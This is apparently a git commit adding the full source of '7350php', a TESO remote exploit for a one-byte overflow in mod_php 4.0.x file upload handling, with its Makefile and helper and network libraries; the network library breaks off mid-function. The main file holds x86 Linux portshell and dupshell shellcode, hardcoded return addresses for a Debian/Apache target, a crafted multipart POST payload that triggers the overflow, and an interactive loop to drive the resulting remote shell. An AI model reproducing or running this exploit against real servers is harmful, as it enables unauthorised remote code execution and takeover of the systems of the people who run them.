From c9cbeced5b3f2bdd7407e29c0811e65954132540 Mon Sep 17 00:00:00 2001 From: Root THC Date: Tue, 24 Feb 2026 12:42:47 +0000 Subject: initial --- exploits/7350php/7350php | Bin 0 -> 21909 bytes exploits/7350php/7350php.c | 376 +++++++++++++++++++ exploits/7350php/Makefile | 17 + exploits/7350php/common.c | 318 ++++++++++++++++ exploits/7350php/common.h | 26 ++ exploits/7350php/common.o | Bin 0 -> 2692 bytes exploits/7350php/network.c | 918 +++++++++++++++++++++++++++++++++++++++++++++ exploits/7350php/network.h | 367 ++++++++++++++++++ exploits/7350php/network.o | Bin 0 -> 8936 bytes 9 files changed, 2022 insertions(+) create mode 100644 exploits/7350php/7350php create mode 100644 exploits/7350php/7350php.c create mode 100644 exploits/7350php/Makefile create mode 100644 exploits/7350php/common.c create mode 100644 exploits/7350php/common.h create mode 100644 exploits/7350php/common.o create mode 100644 exploits/7350php/network.c create mode 100644 exploits/7350php/network.h create mode 100644 exploits/7350php/network.o (limited to 'exploits/7350php') diff --git a/exploits/7350php/7350php b/exploits/7350php/7350php new file mode 100644 index 0000000..079d6a5 Binary files /dev/null and b/exploits/7350php/7350php differ diff --git a/exploits/7350php/7350php.c b/exploits/7350php/7350php.c new file mode 100644 index 0000000..32488b9 --- /dev/null +++ b/exploits/7350php/7350php.c @@ -0,0 +1,376 @@ +/* 7350php - x86/linux mod_php v4.0.1-v4.0.3p1 remote exploit + * + * TESO CONFIDENTIAL - SOURCE MATERIALS + * + * This is unpublished proprietary source code of TESO Security. + * + * The contents of these coded instructions, statements and computer + * programs may not be disclosed to third parties, copied or duplicated in + * any form, in whole or in part, without the prior written permission of + * TESO Security. This includes especially the Bugtraq mailing list, the + * www.hack.co.za website and any public exploit archive. + * + * (C) COPYRIGHT TESO Security, 2001 + * All Rights Reserved + * + ***************************************************************************** + * bug found by lorian + * exploit by lorian + * thanks to scut for his network lib + * + * this exploits a one byte overflow in the mod_php file upload + * handling routine. because apache is a very heavily used daemon + * you maybe need several tries with the same offset for the exploit + * to work. on my system 2 tries were always enough to get either + * a dup- or a portshell. but because of the way apache works you have + * unlimited tries anyway. + * i have only tested on one system so far but i think the retaddr will + * not differ soo much on different installations. because of the + * unlimited tried one can maybe bruteforce the retloc. + */ + +#define VERSION "0.0.1" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "common.h" +#include "network.h" + +int force = 0; /* force exploitation */ +int checkonly = 0; /* check only */ +int targetsys = 0; /* system */ +int portshell = 0; /* create portshell */ +int numtargets; /* number of offsets */ + +/* data for target 1 */ +int retloc = 0x40284668; +int retaddr = 0x08101010; + + +void usage (char *progname); +int xp_check (int fd, char *host); +void xp (int fd, char *host, char *phpfile); +void shell (int sock); + +/* x86/linux PIC portshell shellcode + * by palmers/teso + * port 0x5073 (might want to change it here) + */ +unsigned char x86_linux_portshell[] = + "\x8b\xe5" + "\x31\xc0\x99\x50\xfe\xc0\x89\xc3\x50\xfe\xc0\x50" + "\x89\xe1\xb0\x66\xcd\x80\x52\x66\x68\x50\x73\x66" + "\x52\x89\xe2\x6a\x10\x52\x50\x89\xe1\xfe\xc3\x89" + "\xc2\xb0\x66\xcd\x80\x80\xc3\x02\xb0\x66\xcd\x80" + "\x50\x52\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3" + "\x31\xc9\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" + "\xfe\xc1\xb0\x3f\xcd\x80\xb0\x0b\x99\x52\x68\x6e" + "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53" + "\x89\xe1\xcd\x80"; + +/* x86/linux PIC dupshell shellcode + * by lorian/teso + */ +unsigned char x86_linux_dupshell[] = + "\x8b\xe5" + "\x31\xc0\x31\xdb\xb3\x03\x31\xc9\xb0\x3f\xcd\x80" + "\xfe\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" + "\xb0\x0b\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f" + "\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"; + +unsigned char * shellcode = x86_linux_dupshell; + +/* + * Defined Offsets + */ + +typedef struct { + unsigned int retloc; + unsigned int retaddr; + char *system; +} target; + +target targets[] = { + { 0x40284668, 0x08101010, "Debian 2.2r3 / Apache 1.3.20 / PHP 4.0.3" }, + { 0, 0, NULL } +}; + + +void +usage (char *progname) +{ + int i; + fprintf (stderr, "usage: %s [options] \n\n", progname); + fprintf (stderr, "Options:\n -c\t\tcheck exploitability only, do not exploit\n" + " -f\t\tforce mode, override check results\n" + " -l retloc\tset retlocation\n" + " -a retaddr\tset return address\n" + " -t target\tchoose target\n"); + for (i=0; i "); + fflush (stdout); + shell (fd); + } else { + printf ("## there should be a portshell on port 20595 now\n"); + printf ("## if not simply try again\n"); + } + + exit (EXIT_SUCCESS); +} + + +void +xp (int fd, char *host, char *phpfile) +{ + int i, n; + unsigned char *bchars="0123456789abcdef"; + unsigned char boundary[43]; + unsigned char buffer[1024*1024]; + unsigned char *content = buffer; + unsigned char namebuf[1024]; + + /* construct boundary tag */ + boundary[40] = '\0'; + memset (boundary, '-', 29); + for (i=27; i<40; i++) boundary[i]=bchars[rand () & 15]; + + /* construct namebuffer */ + memset (namebuf, 0xcc, 109+8*30); + namebuf[109+8*30] = '\0'; + namebuf[108+8*30] = ']'; + namebuf[8] = '['; + + + *(int *)&namebuf[8+240+0+1-4] = 0xfffffffc; + *(int *)&namebuf[8+240+4+1-4] = 0xfffffffc; + *(int *)&namebuf[8+240+8+1-4] = retloc-12; + *(int *)&namebuf[8+240+12+1-4] = retaddr; + + /* construct content */ + content += sprintf (content, "%s\r\n" + "Content-Disposition: form-data; name=\"", boundary); + memcpy (content, namebuf, 109+8*30); + content += 109+8*30; + content += sprintf (content, "\"; filename=\"a\"\r\n" + "Content-Type: text/plain\r\n\r\n" + "Hallo\r\n" + "\r\n" + "%s\r\n" + "Content-Disposition: form-data; name=\"aaaa[a]\"; filename=\"a\"\r\n" + "Content-Type: text/plain\r\n\r\n", boundary); + + /* add "jump nops" */ + for (i=0; i<100000; i++) { + *content++ = 0xeb; + *content++ = 0x7e; + } + /* append "nops" */ + for (i=0; i<150; i++) { + *content++ = 0x43; + } + /* append shellcode */ + content += sprintf (content, "%s", shellcode); + + /* close with boundary tag */ + content += sprintf (content, "\r\n" + "%s--\r\n", boundary); + + /* construct and send POST header */ + net_write (fd, "POST /%s HTTP/1.1\r\n" + "Host: %s\r\n" + "Content-Type: multipart/form-data; boundary=%s\r\n" + "Content-Length: %d\r\n" + "Connection: Keep-Alive\r\n" + "\r\n" + ,phpfile, host, boundary+2, content-buffer); + + i = content-buffer; + content = buffer; + n = send (fd, content, i, 0); + while ((n > 0)&&(i > 0)) { + content += n; + i -= n; + n = send (fd, content, i, 0); + } + +} + + +int +xp_check (int fd, char *host) +{ + int n; + unsigned char buf[1024]; + char *version; + int found = 0; + + printf ("## Checking for vulnerable PHP version...\n"); + net_write (fd, "HEAD / HTTP/1.1\r\n" + "Host: %s\r\n" + "\r\n", host); + + n = 10; + while ((n > 2)&&(!found)) + { + n = net_rlinet (fd, buf, sizeof (buf)-1, 0); + if ((strncasecmp (buf, "Server:", 7) == 0) || + (strncasecmp (buf, "X-Powered-By:", 13) == 0)) + { + version = strstr (buf, "PHP/4.0."); + if (version) { + if ((*(version+8) >= '1') && + (*(version+8) <= '3')) found=1; + } + } + } + + if (found) printf ("## check: PASSED\n"); + else printf ("## check: FAILED\n"); + + return (found); +} + + +void +shell (int sock) +{ + int l; + char buf[512]; + fd_set rfds; + + + while (1) { + FD_SET (0, &rfds); + FD_SET (sock, &rfds); + + select (sock + 1, &rfds, NULL, NULL, NULL); + if (FD_ISSET (0, &rfds)) { + l = read (0, buf, sizeof (buf)); + if (l <= 0) { + perror ("read user"); + exit (EXIT_FAILURE); + } + write (sock, buf, l); + } + + if (FD_ISSET (sock, &rfds)) { + l = read (sock, buf, sizeof (buf)); + if (l <= 0) { + perror ("read remote"); + exit (EXIT_FAILURE); + } + write (1, buf, l); + } + } +} + diff --git a/exploits/7350php/Makefile b/exploits/7350php/Makefile new file mode 100644 index 0000000..20e19a4 --- /dev/null +++ b/exploits/7350php/Makefile @@ -0,0 +1,17 @@ + +DFLAGS=-O2 +#DFLAGS= -DDEBUG +CC=gcc +CFLAGS=$(DFLAGS) -Wall +OBJS= common.o network.o +LIBS= + + +all: 7350php + +clean: + rm -f *.o 7350php + +7350php: $(OBJS) 7350php.c + $(CC) $(CFLAGS) -o 7350php 7350php.c $(OBJS) $(LIBS) + diff --git a/exploits/7350php/common.c b/exploits/7350php/common.c new file mode 100644 index 0000000..9b28d61 --- /dev/null +++ b/exploits/7350php/common.c @@ -0,0 +1,318 @@ + +#include +#include +#include +#include +#include +#include +#include +#include "common.h" + + +#ifdef DEBUG +void +debugp (char *filename, const char *str, ...) +{ + FILE *fp; /* temporary file pointer */ + va_list vl; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + va_start (vl, str); + vfprintf (fp, str, vl); + va_end (vl); + + fclose (fp); + + return; +} + +void +hexdump (char *filename, unsigned char *data, unsigned int amount) +{ + FILE *fp; /* temporary file pointer */ + unsigned int dp, p; /* data pointer */ + const char trans[] = + "................................ !\"#$%&'()*+,-./0123456789" + ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" + "nopqrstuvwxyz{|}~...................................." + "....................................................." + "........................................"; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + fprintf (fp, "\n-packet-\n"); + + for (dp = 1; dp <= amount; dp++) { + fprintf (fp, "%02x ", data[dp-1]); + if ((dp % 8) == 0) + fprintf (fp, " "); + if ((dp % 16) == 0) { + fprintf (fp, "| "); + p = dp; + for (dp -= 16; dp < p; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + fprintf (fp, "\n"); + } + fflush (fp); + } + if ((amount % 16) != 0) { + p = dp = 16 - (amount % 16); + for (dp = p; dp > 0; dp--) { + fprintf (fp, " "); + if (((dp % 8) == 0) && (p != 8)) + fprintf (fp, " "); + fflush (fp); + } + fprintf (fp, " | "); + for (dp = (amount - (16 - p)); dp < amount; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + } + fprintf (fp, "\n"); + + fclose (fp); + return; +} + +#endif + + +/* m_random + * + * return a random number between `lowmark' and `highmark' + */ + +int +m_random (int lowmark, int highmark) +{ + long int rnd; + + /* flip/swap them in case user messed up + */ + if (lowmark > highmark) { + lowmark ^= highmark; + highmark ^= lowmark; + lowmark ^= highmark; + } + rnd = lowmark; + + rnd += (random () % (highmark - lowmark)); + + /* this is lame, i know :) + */ + return (rnd); +} + + +/* set_tv + * + * initializes a struct timeval pointed to by `tv' to a second value of + * `seconds' + * + * return in any case + */ + +void +set_tv (struct timeval *tv, int seconds) +{ + tv->tv_sec = seconds; + tv->tv_usec = 0; + + return; +} + + +/* xstrupper + * + * uppercase a string `str' + * + * return in any case + */ + +void +xstrupper (char *str) +{ + for (; *str != '\0'; ++str) { + if (*str >= 'a' && *str <= 'z') { + *str -= ('a' - 'A'); + } + } + + return; +} + + +/* concating snprintf + * + * determines the length of the string pointed to by `os', appending formatted + * string to a maximium length of `len'. + * + */ + +void +scnprintf (char *os, size_t len, const char *str, ...) +{ + va_list vl; + char *ostmp = os + strlen (os); + + va_start (vl, str); + vsnprintf (ostmp, len - strlen (os) - 1, str, vl); + va_end (vl); + + return; +} + + +unsigned long int +tdiff (struct timeval *old, struct timeval *new) +{ + unsigned long int time1; + + if (new->tv_sec >= old->tv_sec) { + time1 = new->tv_sec - old->tv_sec; + if ((new->tv_usec - 500000) >= old->tv_usec) + time1++; + } else { + time1 = old->tv_sec - new->tv_sec; + if ((old->tv_usec - 500000) >= new->tv_usec) + time1++; + } + + return (time1); +} + + +/* ipv4_print + * + * padding = 0 -> don't padd + * padding = 1 -> padd with zeros + * padding = 2 -> padd with spaces + */ + +char * +ipv4_print (char *dest, struct in_addr in, int padding) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &in.s_addr; + + strcpy (dest, ""); + + switch (padding) { + case (0): + sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (1): + sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (2): + sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + default: + break; + } + + return (dest); +} + + +void * +xrealloc (void *m_ptr, size_t newsize) +{ + void *n_ptr; + + n_ptr = realloc (m_ptr, newsize); + if (n_ptr == NULL) { + fprintf (stderr, "realloc failed\n"); + exit (EXIT_FAILURE); + } + + return (n_ptr); +} + + +char * +xstrdup (char *str) +{ + char *b; + + b = strdup (str); + if (b == NULL) { + fprintf (stderr, "strdup failed\n"); + exit (EXIT_FAILURE); + } + + return (b); +} + + +void * +xcalloc (int factor, size_t size) +{ + void *bla; + + bla = calloc (factor, size); + + if (bla == NULL) { + fprintf (stderr, "no memory left\n"); + exit (EXIT_FAILURE); + } + + return (bla); +} + + +/* source by dk + */ + +char * +allocncat (char **to, char *from, size_t len) +{ + int rlen = strlen (from); + int null = *to == NULL; + + len = rlen < len ? rlen : len; + *to = realloc (*to, (null ? 0 : strlen (*to)) + len + 1); + if (null) + **to = '\0'; + + if (*to == NULL) + perror ("no memory: "); + + return (strncat (*to, from, len)); +} + + +char * +alloccat (char **to, char *from) +{ + return (allocncat (to, from, strlen (from))); +} + + +char * +ip_get_random (void) +{ + char *ip = xcalloc (1, 17); + int i[4]; + + for (;;) { + i[0] = m_random (1, 239); + if (i[0] != 10 && i[0] != 127 && i[0] != 192) + break; + } + i[1] = m_random (1, 254); + i[2] = m_random (1, 254); + i[3] = m_random (1, 254); + + sprintf (ip, "%d.%d.%d.%d", i[0], i[1], i[2], i[3]); + + return (ip); +} + diff --git a/exploits/7350php/common.h b/exploits/7350php/common.h new file mode 100644 index 0000000..dc7b666 --- /dev/null +++ b/exploits/7350php/common.h @@ -0,0 +1,26 @@ + +#ifndef Z_COMMON_H +#define Z_COMMON_H + +#include +#include + +#ifdef DEBUG +void debugp (char *filename, const char *str, ...); +void hexdump (char *filename, unsigned char *data, unsigned int amount); +#endif +int m_random (int lowmark, int highmark); +void set_tv (struct timeval *tv, int seconds); +void xstrupper (char *str); +void scnprintf (char *os, size_t len, const char *str, ...); +unsigned long int tdiff (struct timeval *old, struct timeval *new); +char *ipv4_print (char *dest, struct in_addr in, int padding); +void *xrealloc (void *m_ptr, size_t newsize); +char *xstrdup (char *str); +void *xcalloc (int factor, size_t size); +char *allocncat (char **to, char *from, size_t len); +char *alloccat (char **to, char *from); +char *ip_get_random (void); + +#endif + diff --git a/exploits/7350php/common.o b/exploits/7350php/common.o new file mode 100644 index 0000000..dd5a0fc Binary files /dev/null and b/exploits/7350php/common.o differ diff --git a/exploits/7350php/network.c b/exploits/7350php/network.c new file mode 100644 index 0000000..71d4a21 --- /dev/null +++ b/exploits/7350php/network.c @@ -0,0 +1,918 @@ + +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking routines + * based on my hbot networking sources, + * revised, extended and adapted 990405 + * extended, improved and fixed 990430 + * + * nearly all of this code wouldn't have been possible without w. richard stevens + * excellent network coding book. if you are interested in network coding, + * there is no way around it. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "network.h" + +int net_readtimeout = NET_READTIMEOUT; +int net_conntimeout = NET_CONNTIMEOUT; +int net_identtimeout = NET_IDENTTIMEOUT; + + +int +net_socks_connect (char *socks, unsigned short int sport, char *server, unsigned short int port, int sec) +{ + int s5s; + struct sockaddr_in cs; + + s5s = net_connect (&cs, socks, sport, NULL, 0, sec); + if (s5s == -1) + return (-1); + + if (net_socks_put_s5info (s5s, server, port, sec) == -1) { + close (s5s); + return (-1); + } + return (s5s); +} + + +int +net_socks_put_s5info (int s5s, char *server, unsigned short int port, int sec) +{ + int n; + char buff[1024]; + + /* v5 + noauth */ + net_write (s5s, "\x05\x01%c", 0); + if (net_rtimeout (s5s, sec) == -1) + return (-1); + recv (s5s, buff, sizeof (buff), 0); + + /* chain us =) */ + net_write (s5s, "\x05\x01%c\x03%c%s%c%c", 0, strlen (server), server, (port >> 8) & 0xff, port & 0xff); + if (net_rtimeout (s5s, sec) == -1) + return (-1); + n = recv (s5s, buff, sizeof (buff), 0); + if (buff[1] != 0x00) { + return (-1); + } + return (1); +} + + +int +net_parseip (char *inp, char **ip, unsigned short int *port) +{ + int n; + + if (inp == NULL) + return (0); + if (strchr (inp, ':') == NULL) + return (0); + + *ip = calloc (1, 256); + if (*ip == NULL) + return (0); + + n = sscanf (inp, "%[^:]:%hu", *ip, port); + if (n != 2) + return (0); + + *ip = realloc (*ip, strlen (*ip) + 1); + if (*ip == NULL || (*port < 1 || *port > 65535)) + return (0); + + return (1); +} + + +char * +net_getlocalip (void) +{ + struct sockaddr_in pf; + char name[255]; + + memset (name, '\0', sizeof (name)); + + if (gethostname (name, sizeof (name) - 1) == -1) { + return (NULL); + } + + pf.sin_addr.s_addr = net_resolve (name); + + return (strdup (inet_ntoa (pf.sin_addr)));; +} + + +char * +net_peeraddress (int socket) +{ + char * hip; + struct sockaddr_in peeraddr; + size_t size = sizeof (struct sockaddr_in); + + if (getpeername (socket, (struct sockaddr *) &peeraddr, &size) == -1) + return (NULL); + + net_printipa (&peeraddr.sin_addr, &hip); + + return (hip); +} + + +int +net_addrpair (int socket, struct in_addr *src_ip, unsigned short int *src_prt, + struct in_addr *dst_ip, unsigned short int *dst_prt) +{ + size_t size = sizeof (struct sockaddr_in); + struct sockaddr_in addr; + + + if (getsockname (socket, (struct sockaddr *) &addr, &size) == -1) + return (1); + + src_ip->s_addr = addr.sin_addr.s_addr; + *src_prt = ntohs (addr.sin_port); + + if (getpeername (socket, (struct sockaddr *) &addr, &size) == -1) + return (1); + + dst_ip->s_addr = addr.sin_addr.s_addr; + *dst_prt = ntohs (addr.sin_port); + + return (0); +} + + +char * +net_peername (int socket) +{ + struct sockaddr_in peeraddr; + struct hostent he, *hep; + size_t size = sizeof (struct sockaddr_in); + int n, h_errno; + unsigned char h_buf[8192]; + + if (getpeername (socket, (struct sockaddr *) &peeraddr, &size) == -1) + return (NULL); + + /* digital unix / hp-ux freaks mod here =) + */ + n = gethostbyaddr_r ((char *) &peeraddr.sin_addr, sizeof (struct in_addr), + AF_INET, &he, h_buf, sizeof (h_buf), &hep, &h_errno); + + if (hep == NULL) { + char *ip_str = NULL; + + net_printipa (&peeraddr.sin_addr, &ip_str); + return (ip_str); + } + + return (strdup (he.h_name)); +} + + +FILE * +net_descriptify (int socket) +{ + FILE *fp; + + fp = fdopen (socket, "r+"); + return ((fp == NULL) ? (NULL) : (fp)); +} + + +/* loosely based on rfc931.c */ + +int +net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport, + struct sockaddr_in *remotes, unsigned short int remoteport) +{ + int is; /* ident socket */ + struct sockaddr_in isa; + int n; + char identreply[512], *cp; + unsigned int rmt_port, our_port; + + + *ident = NULL; + + is = net_connect (&isa, inet_ntoa (remotes->sin_addr), 113, NULL, 0, net_identtimeout); + if (is == -1) + return (-1); + + /* ident request */ + net_write (is, "%u,%u\r\n", remoteport, localport); + memset (identreply, '\0', sizeof (identreply)); + + n = net_rlinet (is, identreply, sizeof(identreply) -1, net_identtimeout); + if (n == -1) { + close (is); + return (-1); + } + close (is); + + *ident = calloc (1, 256); +#ifdef DEBUG + printf("%s\n", identreply); +#endif + n = sscanf (identreply, "%u , %u : USERID :%*[^:]:%255s", &rmt_port, &our_port, *ident); + if (n != 3) { + free (*ident); + *ident = NULL; + return (-1); + } + + /* check the ports 'man */ + if ((rmt_port != remoteport) || (our_port != localport)) { + free (*ident); + *ident = NULL; + return (-1); + } + + /* strip character and save some memory */ + if ((cp = strchr (*ident, '\r'))) + *cp = '\0'; + n = strlen (*ident); + *ident = realloc (*ident, n + 1); + (*ident)[n] = '\0'; + +#ifdef DEBUG + printf("ident-return: %s\n", *ident); +#endif + return (1); +} + + +int +net_accept (int s, struct sockaddr_in *cs, int maxsec) +{ + int flags, n; + fd_set ac_s; + int len; + struct timeval tval; + struct sockaddr_in csa; + + if (cs == NULL) + cs = &csa; + + flags = fcntl(s, F_GETFL, 0); + if (flags == -1) + return (-1); + n = fcntl(s, F_SETFL, flags | O_NONBLOCK); + if (n == -1) + return (-1); + + FD_ZERO(&ac_s); + FD_SET(s, &ac_s); + tval.tv_sec = maxsec; + tval.tv_usec = 0; + + n = select(s + 1, &ac_s, NULL, NULL, maxsec ? &tval : NULL); + if (n == 0) + return (0); + + if (FD_ISSET(s, &ac_s)) { + len = sizeof(struct sockaddr_in); + n = accept(s, (struct sockaddr *) cs, &len); + if (n == -1) { + switch (errno) { + case EWOULDBLOCK: + case ECONNABORTED: + case EPROTO: + case EINTR: if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); + default: return (-1); + } + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (n); + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); +} + + +int +net_testvip (char *ip) +{ + struct ifi_info *ifi, *ifc; + struct in_addr ip_n; + + if (ip == NULL) + return (1); + if (strcmp(ip, "*") == 0) + return (1); + + ip_n.s_addr = net_resolve(ip); + if (!(ip_n.s_addr)) + return (0); + + ifi = net_ifi_get (AF_INET, 1); + if (ifi == NULL) + return (0); + for (ifc = ifi; ifc != NULL; ifc = ifc->ifi_next) { + if (memcmp (&ip_n.s_addr, &ifc->ifi_saddr.s_addr, sizeof (struct in_addr)) == 0) { + net_ifi_free(ifi); + return (1); + } + } + net_ifi_free(ifi); + return (0); +} + + +void +net_ifi_free (struct ifi_info *tf) +{ + struct ifi_info *ifi, *ifil; + + ifil = NULL; + for (ifi = tf; ifi != NULL; ifi = ifi->ifi_next) { + if (ifil) + free (ifil); + if (ifi->ifi_addr) + free (ifi->ifi_addr); + ifil = ifi; + } + if (ifil) + free (ifil); + return; +} + + +struct ifi_info * +net_ifi_get (int family, int doaliases) +{ + struct ifi_info *ifi, *ifihead, **ifipnext; + int sockfd, len, lastlen, flags, myflags; + char *ptr, *buf, lastname[IFNAMSIZ], *cptr; + struct ifconf ifc; + struct ifreq *ifr, ifrcopy; + struct sockaddr_in *sinptr; + + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd == -1) + return (NULL); + + lastlen = 0; + len = 100 * sizeof(struct ifreq); + for (;;) { + buf = malloc(len); + if (buf == NULL) + return (NULL); + ifc.ifc_len = len; + ifc.ifc_buf = buf; + if (ioctl(sockfd, SIOCGIFCONF, &ifc) < 0) { + if (errno != EINVAL || lastlen != 0) + return (NULL); + } else { + if (ifc.ifc_len == lastlen) + break; + lastlen = ifc.ifc_len; + } + len += 10 * sizeof(struct ifreq); + free (buf); + } + ifihead = NULL; + ifipnext = &ifihead; + lastname[0] = 0; + + for (ptr = buf; ptr < buf + ifc.ifc_len;) { + ifr = (struct ifreq *) ptr; + if (ifr->ifr_addr.sa_family == AF_INET) + len = sizeof(struct sockaddr); + ptr += sizeof(ifr->ifr_name) + len; + + if (ifr->ifr_addr.sa_family != family) + continue; + myflags = 0; + if ((cptr = strchr(ifr->ifr_name, ':')) != NULL) + *cptr = 0; + if (strncmp(lastname, ifr->ifr_name, IFNAMSIZ) == 0) { + if (doaliases == 0) + continue; + myflags = IFI_ALIAS; + } + memcpy(lastname, ifr->ifr_name, IFNAMSIZ); + + ifrcopy = *ifr; + if (ioctl(sockfd, SIOCGIFFLAGS, &ifrcopy) < 0) + return (NULL); + flags = ifrcopy.ifr_flags; + if ((flags & IFF_UP) == 0) + continue; + + ifi = calloc(1, sizeof(struct ifi_info)); + if (ifi == NULL) + return (NULL); + *ifipnext = ifi; + ifipnext = &ifi->ifi_next; + ifi->ifi_flags = flags; + ifi->ifi_myflags = myflags; + memcpy(ifi->ifi_name, ifr->ifr_name, IFI_NAME); + ifi->ifi_name[IFI_NAME - 1] = '\0'; + +#ifdef DEBUG + printf("got: %s\n", ifi->ifi_name); +#endif + + switch (ifr->ifr_addr.sa_family) { + case AF_INET: + sinptr = (struct sockaddr_in *) &ifr->ifr_addr; + memcpy(&ifi->ifi_saddr, &sinptr->sin_addr, sizeof(struct in_addr)); + if (ifi->ifi_addr == NULL) { + ifi->ifi_addr = calloc(1, sizeof(struct sockaddr_in)); + if (ifi->ifi_addr == NULL) + return (NULL); + memcpy(ifi->ifi_addr, sinptr, sizeof(struct sockaddr_in)); + } + break; + default: + break; + } + } + free (buf); + return (ifihead); +} + + +void +net_boundfree (bound *bf) +{ + close (bf->bs); + free (bf); + return; +} + + +bound * +net_bind (char *ip, unsigned short int port) +{ + bound *b; + int br, gsnr, lr; + int len, reusetmp; + struct sockaddr_in *sap; + + if (port >= 65536) + return (NULL); + + b = calloc(1, sizeof (bound)); + if (b == NULL) + return (NULL); + b->bs = socket (AF_INET, SOCK_STREAM, 0); + if (b->bs == -1) + goto berror; + + reusetmp = 1; +#ifdef SO_REUSEPORT + if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEPORT, &reusetmp, sizeof (reusetmp)) == -1) + goto berror; +#else + if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEADDR, &reusetmp, sizeof (reusetmp)) == -1) + goto berror; +#endif + + sap = (struct sockaddr_in *) &b->bsa; + sap->sin_family = AF_INET; + sap->sin_port = htons (port); /* 0 = ephemeral */ + + if (ip != NULL) { + if (strcmp (ip, "*") == 0) { + sap->sin_addr.s_addr = htonl (INADDR_ANY); + } else { + if (!(sap->sin_addr.s_addr = net_resolve (ip))) { + goto berror; + } + } + } else { + sap->sin_addr.s_addr = htonl (INADDR_ANY); + } + + br = bind (b->bs, (struct sockaddr *) &b->bsa, sizeof (struct sockaddr)); + if (br == -1) + goto berror; + + len = sizeof (struct sockaddr); + gsnr = getsockname (b->bs, (struct sockaddr *) &b->bsa, &len); + b->port = ntohs (sap->sin_port); + if (gsnr == -1) + goto berror; + + lr = listen (b->bs, 16); + if (lr == -1) { + goto berror; + } + return (b); + +berror: + free (b); + + return(NULL); +} + + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + i = inet_addr(host); + if (i == -1) { + he = gethostbyname(host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + return (i); +} + + +int +net_assignaddr (int sd, char *sourceip, unsigned short int sourceport) +{ + struct sockaddr_in sourcedef; + + if (sourceip && strcmp (sourceip, "*") == 0) + sourceip = NULL; + + if (sourceip == NULL && sourceport == 0) + return (1); + + /* is the IP available on the local host ? (not really necessary) */ + if (sourceip && !net_testvip (sourceip)) { + return (0); + } + + memset (&sourcedef, '\0', sizeof (struct sockaddr_in)); + + /* if sourceip is specified, set it */ + if (sourceip) { + sourcedef.sin_addr.s_addr = net_resolve (sourceip); + } else { + sourcedef.sin_addr.s_addr = htonl (INADDR_ANY); + } + if (sourceport) + sourcedef.sin_port = htons (sourceport); + + /* now set the source on the socket by binding it */ + if (bind (sd, (struct sockaddr *) &sourcedef, sizeof (struct sockaddr_in)) == -1) { + return (0); + } + + return (1); +} + + +int +net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, + unsigned short int sourceport, int sec) +{ + int n, + len, + error, + flags; + int fd; + struct timeval tv; + fd_set rset, wset; + struct sockaddr_in csa; + + if (cs == NULL) + cs = &csa; + + /* first allocate a socket */ + cs->sin_family = AF_INET; + cs->sin_port = htons (port); + fd = socket (cs->sin_family, SOCK_STREAM, 0); + if (fd == -1) + return (-1); + + /* check wether we should change the defaults */ + if (net_assignaddr (fd, sourceip, sourceport) == 0) { + close (fd); + return (-1); + } + + if (!(cs->sin_addr.s_addr = net_resolve (server))) { + close (fd); + return (-1); + } + + flags = fcntl (fd, F_GETFL, 0); + if (flags == -1) { + close (fd); + return (-1); + } + n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) { + close (fd); + return (-1); + } + + error = 0; + + n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); + if (n < 0) { + if (errno != EINPROGRESS) { + close (fd); + return (-1); + } + } + if (n == 0) + goto done; + + FD_ZERO(&rset); + FD_ZERO(&wset); + FD_SET(fd, &rset); + FD_SET(fd, &wset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + n = select(fd + 1, &rset, &wset, NULL, &tv); + if (n == 0) { + close(fd); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) + return (-1); + + if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { + if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { + len = sizeof(error); + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { + errno = ETIMEDOUT; + return (-1); + } + if (error == 0) { + goto done; + } else { + errno = error; + return (-1); + } + } + } else + return (-1); + +done: + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (fd); +} + + +int +net_tline (char *buf, int bufsize) +{ + int p; + + for (p = 0; p < bufsize; p++) { + if (buf[p] == '\n') + return (p + 1); + } + return (-1); +} + +#define LINET_A 1024 + + +int +net_rlineta (int fd, char **buf, int sec) +{ + int n; /* return value */ + int bufsize = 0; + + *buf = NULL; + + do { + bufsize += LINET_A; + *buf = realloc (*buf, bufsize); + if (*buf == NULL) + return (-1); + + n = net_rlinet (fd, *buf + bufsize - LINET_A, LINET_A, sec); + + if (n == -1) + goto rlinetaerr; + if (n >= 0) + goto rlinetastrip; + } 